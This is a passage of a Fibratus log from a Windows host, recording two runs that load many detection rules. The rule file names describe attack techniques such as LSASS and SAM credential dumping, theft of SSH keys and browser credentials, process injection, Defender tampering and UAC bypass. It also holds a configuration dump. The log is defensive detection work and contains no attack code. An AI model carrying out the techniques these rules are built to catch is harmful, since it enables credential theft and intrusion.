C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T11:32:24+01:00 level=info msg=bootstrapping with pid 12564. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T11:32:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html port=>25 use-template=>true to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-mem=>true enable-vamap=>true enable-threadpool=>false enable-thread=>true stack-enrichment=>true enable-fileio=>true max-buffers=>36 enable-image=>true enable-registry=>true enable-net=>true enable-handle=>false enable-dns=>false flush-interval=>1s buffer-size=>512 min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 level=>info log-stdout=>true max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ durable=>false url=>amqp://localhost:5672 exchange=>fibratus delivery-mode=>transient enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/ passive=>false timeout=>5s exchange-type=>topic] http=>[ timeout=>5s enabled=>false method=>POST tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json endpoints=>[]] elasticsearch=>[ timeout=>5s bulk-workers=>1 template-name=>fibratus flush-period=>1s enabled=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true trace-log=>false healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false sniff=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s enabled=>false fastscan=>true skip-mmaps=>false skip-files=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T11:32:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T11:32:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T11:33:21+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T11:33:21+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T11:33:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T11:52:30+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from 